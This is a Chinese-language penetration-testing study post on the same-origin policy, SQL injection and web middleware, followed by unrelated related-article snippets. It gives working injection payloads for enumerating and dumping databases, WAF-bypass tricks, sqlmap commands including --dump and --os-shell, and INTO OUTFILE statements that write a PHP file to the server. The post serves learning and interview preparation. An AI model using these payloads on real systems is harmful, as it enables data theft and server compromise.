渗透知识贴

文章目录

  • 基础知识
    • 同源策略
  • 常见web漏洞
    • SQL注入漏洞
  • web中间件

基础知识

同源策略

同源策略是目前所有浏览器都实行的一种安全政策。A网页设置的 Cookie,B网页不能打开,除非这两个网页同源。所谓同源,是指:协议、端口、域名相同
在这里插入图片描述

常见web漏洞

SQL注入漏洞

1、SQL注入漏洞原理:Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。简单来说就是前端传给后端的参数用户可控;传入的参数被拼接到SQL语句且带入数据库查询。

2、SQL注入分类

  • 以有无闭合字符分类:字符型、整数型
  • 以数据传输方式分类:post类型、get类型
  • 注入方式细分:联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入

3、联合查询基本步骤

	id=1'    //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1 order by <数字> # //判断字段数id=1 and 1=2 union select 1,2,3, ... #   //查看回显点id=1 and 1=2 union select 1,2,database(), ... #   //查看数据库名id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

4、报错注入常用的函数
updatexml()extractvalue()floor()

5、mysql默认存在的哪个数据库,注入时经常用到?
mysql5.0之后,mysql默认存放Information_schema,在该库中,有三个重要的表:SCHEMATATABLESCOLUMNS

6、时间盲注特点?常用函数?
场景:应用于无数据回显,无报错,布尔型盲注失效后 。
特点:时间型盲注页面没有明显的回显,只能根据页面刷新时间的长短来去判断构造语句是否正确。
常用函数:sleep()benchmark()if(expr1,expr2,expr3)

7、布尔盲注特点?常用函数?
特点:根据页面正确和错误的两种状态,来判断构造语句是否正确。
常用函数:length()substr()ascii()

8、宽字节注入
原理:当数据库编码为GBK时,且传入的引号被\过滤,可以尝试宽字节注入。例如,传入%df',服务端对引号过滤,即添加反斜杠为%df\',带入数据库查询前经过GBK编码为運',反斜杠被吃掉。

9、Sqlmap基本用法

sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段  --dump是列出字段内容

10、SQL注入绕WAF姿势

  1. 大小写绕过,例如and 1=1写成And 1=1;
  2. 上写绕过,例如anandd
  3. 编码绕过。注意编码绕过的关键是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码
  4. 内联注释绕过,例如/*!and*/,会被解析为and关键字;
  5. 特殊函数替换
    floor() ==>  updatexml()extractvalue()
    Substring() ==>  Mid()Substr()Lpad()Rpad()Left()
    concat() ==>  concat_ws()group_concat()
    limit 01  ==>  limit1 offset 0
    and  ==> && 
    or  ==> ||
    = ==>  <>
    = ==>  like
    sleep()  ==> benchmark()
    
  6. %00截断绕过,例如:?a=1%00.&id=1and sleep(3),部分waf在遇到%00会认为参数读取已经结束

参考:WAF机制及绕过方法总结:注入篇

11、什么样的网站可能存在sql注入漏洞?

  • 和数据库有数据交互的这种网站,比如一些用php,asp这一类动态脚本写的网站;
  • 还有就是伪静态的网站,虽然看着是html的网站,但是实际上是动态网站和数据库有数据交互。

简单来说,就是注意与数据库有交互的地方可能存在SQL注入。

12、SQL注入挂马
前提条件:

  • 数据库当前用户为root权限;

    # 第一种方法
    select group_concat(user,0x3a,file_priv) from mysql.user;
    #出现Y,这就代表你有文件权限,N就是没有# 第二种方法
    select user(); # 查看当前用户# 第三种方法
    sqlmap.py -u '<URL>' --is-dba # 查看当前用户是否为root用户
    

    在这里插入图片描述

  • 知道当前网站的绝对路径;

  • PHP的magic_quotes_gpcoff状态;

    magic_quotes_gpc=on说明php开启魔术引号,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

  • 写入的那个路径存在写入权限。
    主要关注secure_file_priv参数。

    secure_file_priv为NULL禁止导出文件secure_file_priv=
    secure_file_priv指定地址限制导出地址只能在此secure_file_priv=D:/”
    secure_file_priv为空可以导出到任意文件secure_file_priv=
    

基于union联合查询:

?id=-1 union select 1,'<?php phpinfo();?>',3 into outfile '/tmp/shell.php' --+
?id=-1 union select 1,'<?php phpinfo();?>',3 into dumpfile '/tmp/shell.php' --+

在这里插入图片描述

因为linux下不是所有用户在/var/www/html下都具有写权限,所以这里只能写到/tmp目录下。

基于union联合查询:

into outfile '/tmp/shell.php' fields terminated by '<?php phpinfo(); ?>' --+

在这里插入图片描述

sqlmp.py -u '<url>' --os-shell # 获取shell

web中间件

关于web服务器、web中间件、web容器之间的区别:web服务器、Web中间件和Web容器的区别
简单来说:

  • Web服务器主要处理静态文件服务,提供基本的HTTP请求和响应功能。
  • Web中间件提供丰富的功能和服务,包括处理动态内容、业务逻辑、安全性等。
  • Web容器是Web中间件的一部分,专注于执行和管理Web应用程序的动态内容,如Servlet和JSP。

其实我们不用将这些概念分得这么细(暂且都叫web中间件),只需要知道web中间件上对应的语言类型即可
常见的中间件类型:

ASP:IIS
PHP:Apache、Nginx
Java:Tomcat、Weblogic、Jboss、WebShere、GlassFish

JSP与javascript:

  • JSP文件(以.jsp为后缀)是用于开发动态Web页面的Java技术,允许在HTML页面中嵌入Java代码。当JSP文件在服务器上被处理时,其中的Java代码被编译为可执行的Servlet。
  • JavaScript文件(以.js为后缀)是一种脚本语言,用于在Web浏览器中实现交互性和动态性。它通常用于在HTML页面中编写脚本代码,以实现各种功能和交互效果。

待续。。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802835.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows Server 2008添加Web服务器(IIS)、WebDAV服务、网络负载均衡

一、Windows Server 2008添加Web服务器&#xff08;IIS&#xff09; &#xff08;1&#xff09;添加角色&#xff0c;搭建web服务器&#xff08;IIS&#xff09; &#xff08;2&#xff09;添加网站&#xff0c;关闭默认网页&#xff0c;添加默认文档 在客户端浏览器输入服务器…

面试算法-165-随机链表的复制

题目 给你一个长度为 n 的链表&#xff0c;每个节点包含一个额外增加的随机指针 random &#xff0c;该指针可以指向链表中的任何节点或空节点。 构造这个链表的 深拷贝。 深拷贝应该正好由 n 个 全新 节点组成&#xff0c;其中每个新节点的值都设为其对应的原节点的值。新节…

倒计时1天 | 袋鼠云春季发布会完整议程出炉!快快预约直播

在日新月异的数字化经济时代&#xff0c;企业和组织不断寻求利用先进技术构建自身的核心竞争力。其中&#xff0c;大数据与AI的深度融合正在成为推动企业实现新质生产力的关键路径。 在此背景下&#xff0c;袋鼠云举办春季发布会&#xff0c;以“DataAI&#xff0c;构建新质生…

2024 年广西职业院校技能大赛高职组 《云计算应用》赛项赛题第①套

2024 年广西职业院校技能大赛高职组 《云计算应用》赛项赛题第①套 模块一 私有云&#xff08;30 分&#xff09;任务 1 私有云服务搭建&#xff08;5 分&#xff09;任务 2 私有云服务运维&#xff08;15 分&#xff09;任务 3 私有云运维开发&#xff08;10 分&#xff09; 模…

【Nature Electronics】二维钙钛矿氧化物SNO作为high-κ栅介质的应用

【Li, S., Liu, X., Yang, H. et al. Two-dimensional perovskite oxide as a photoactive high-κ gate dielectric. Nat Electron 7, 216–224 (2024). https://doi.org/10.1038/s41928-024-01129-9】 概括总结&#xff1a; 本研究探讨了二维钙钛矿氧化物Sr2Nb3O10&#xf…

商家跑路城市拥堵大数据论文代码开源

原始数据&#xff1a; 日期名称类型所属区拥挤指数速度客流指数20240405世界之花假日广场购物;购物中心大兴区2.46621.369.4920240405华润五彩城购物;购物中心海淀区2.01329.7111.1720240405北京市百货大楼购物;购物中心东城区1.85615.938.2320240405apm购物;购物中心东城区1.…

常用12个自动化测试工具

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

基于springboot实现校园资料分享平台系统项目【项目源码+论文说明】

基于springboot实现校园资料分享平台系统演示 摘要 随着信息互联网购物的飞速发展&#xff0c;国内放开了自媒体的政策&#xff0c;一般企业都开始开发属于自己内容分发平台的网站。本文介绍了校园资料分享平台的开发全过程。通过分析企业对于校园资料分享平台的需求&#xff…

kali基础渗透学习,永恒之蓝,木马实战

简介 kali的学习本质是在linux上对一些攻击软件的使用&#xff0c;只是学习的初期 先在终端切换到root用户&#xff0c;以便于有些工具对权限的要求 下载链接 镜像源kali 攻击流程 公网信息搜集 寻找漏洞&#xff0c;突破口&#xff0c;以进入内网 进入内网&#xff0c…

(学习日记)2024.04.10:UCOSIII第三十八节:事件实验

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…

Golang——方法

一. 方法定义 Golang方法总是绑定对象的实例&#xff0c;并隐式将实例作为第一实参。 只能为当前包内命名类型定义方法参数receiver可以任意命名。如方法中未曾使用&#xff0c;可省略参数名参数receiver类型可以是T或*T。基类型T不能是接口或指针类型(即多级指针)不支持方法重…

2024.4.5-day10-CSS 布局模型(层模型)

个人主页&#xff1a;学习前端的小z 个人专栏&#xff1a;HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结&#xff0c;欢迎大家在评论区交流讨论&#xff01; 文章目录 作业 2024.4.5-学习笔记1 CSS定位1.1 相对定位 relative1.2 绝对定位 absolut…

多乐空气处理设备有限公司现已加入2024第13届生物发酵展

参展企业介绍 为满足日益发展的中国大陆市场对环境的要求&#xff0c;更接近最终用户&#xff0c;多乐集团于2001年在上海松江设立了第一家生产基地。经过十数年来的高速发展&#xff0c;多乐以其精湛的加工工艺、一流的制造技术方面的优势&#xff0c;在对温度湿度有严格要求…

赛氪网|2024中国翻译协会年会“AI科技时代竞赛与就业”分论坛

在2024年中国翻译协会年会期间&#xff0c;赛氪网与中西部翻译协会共同体多边合作平台共同承办&#xff0c;于3月30日下午在长沙成功举办了“AI科技时代竞赛与就业分论坛”。该论坛汇聚了众多翻译界、科技界和教育界的专家学者&#xff0c;共同探讨科技、实践、就业与竞赛人才培…

秋招算法刷题6

20240408 1.两数之和 &#xff08;时间复杂度是O&#xff08;n的平方&#xff09;&#xff09; public int[] twoSum(int[] nums, int target){int nnums.length; for(int i0;i<n;i){ for(int j1;j<n;j){ if(nums[i][j]target){ …

springboot3使用自定义注解+AOP+redis优雅实现防重复提交

⛰️个人主页: 蒾酒 &#x1f525;系列专栏&#xff1a;《spring boot实战》 &#x1f30a;山高路远&#xff0c;行路漫漫&#xff0c;终有归途 目录 写在前面 实现思路 实现步骤 1.定义防重复提交注解 2.编写一个切面去发现该注解然后执行防重复提交逻辑 3.测试 …

RAGFlow:基于OCR和文档解析的下一代 RAG 引擎

一、引言 在人工智能的浪潮中&#xff0c;检索增强生成&#xff08;Retrieval-Augmented Generation&#xff0c;简称RAG&#xff09;技术以其独特的优势成为了研究和应用的热点。RAG技术通过结合大型语言模型&#xff08;LLMs&#xff09;的强大生成能力和高效的信息检索系统…

书生·浦语大模型实战营 | 第2次学习笔记

前言 书生浦语大模型应用实战营 第二期正在开营&#xff0c;欢迎大家来学习。&#xff08;参与链接&#xff1a;课程升级&#xff0c;算力免费&#xff0c;书生浦语实战营第二期学员招募&#xff5c;活动预告https://mp.weixin.qq.com/s/YYSr3re6IduLJCAh-jgZqg&#xff09; …

GFS部署实验

目录 1、部署环境 ​编辑 2、更改节点名称 3、准备环境 4、磁盘分区&#xff0c;并挂载 5. 做主机映射--/etc/hosts/ 6. 复制脚本文件 7. 执行脚本完成分区 8. 安装客户端软件 1. 创建gfs 2. 安装解压源包 3. 安装 gfs 4. 开启服务 9、 添加节点到存储信任池中 1…

SpringBoot项目如何国际化操作,让你可以随意切换语言

1.前言 最近接触的项目需要中文/英文或者其他国家语言的切换&#xff0c;在后台的时候有一个选择&#xff0c;你可以选择中文还是英文&#xff0c;或者其他语言&#xff0c;选择完毕界面语言就都变了&#xff0c;咱不知道前端怎么操作的&#xff0c;但是后台在处理提示语的时候…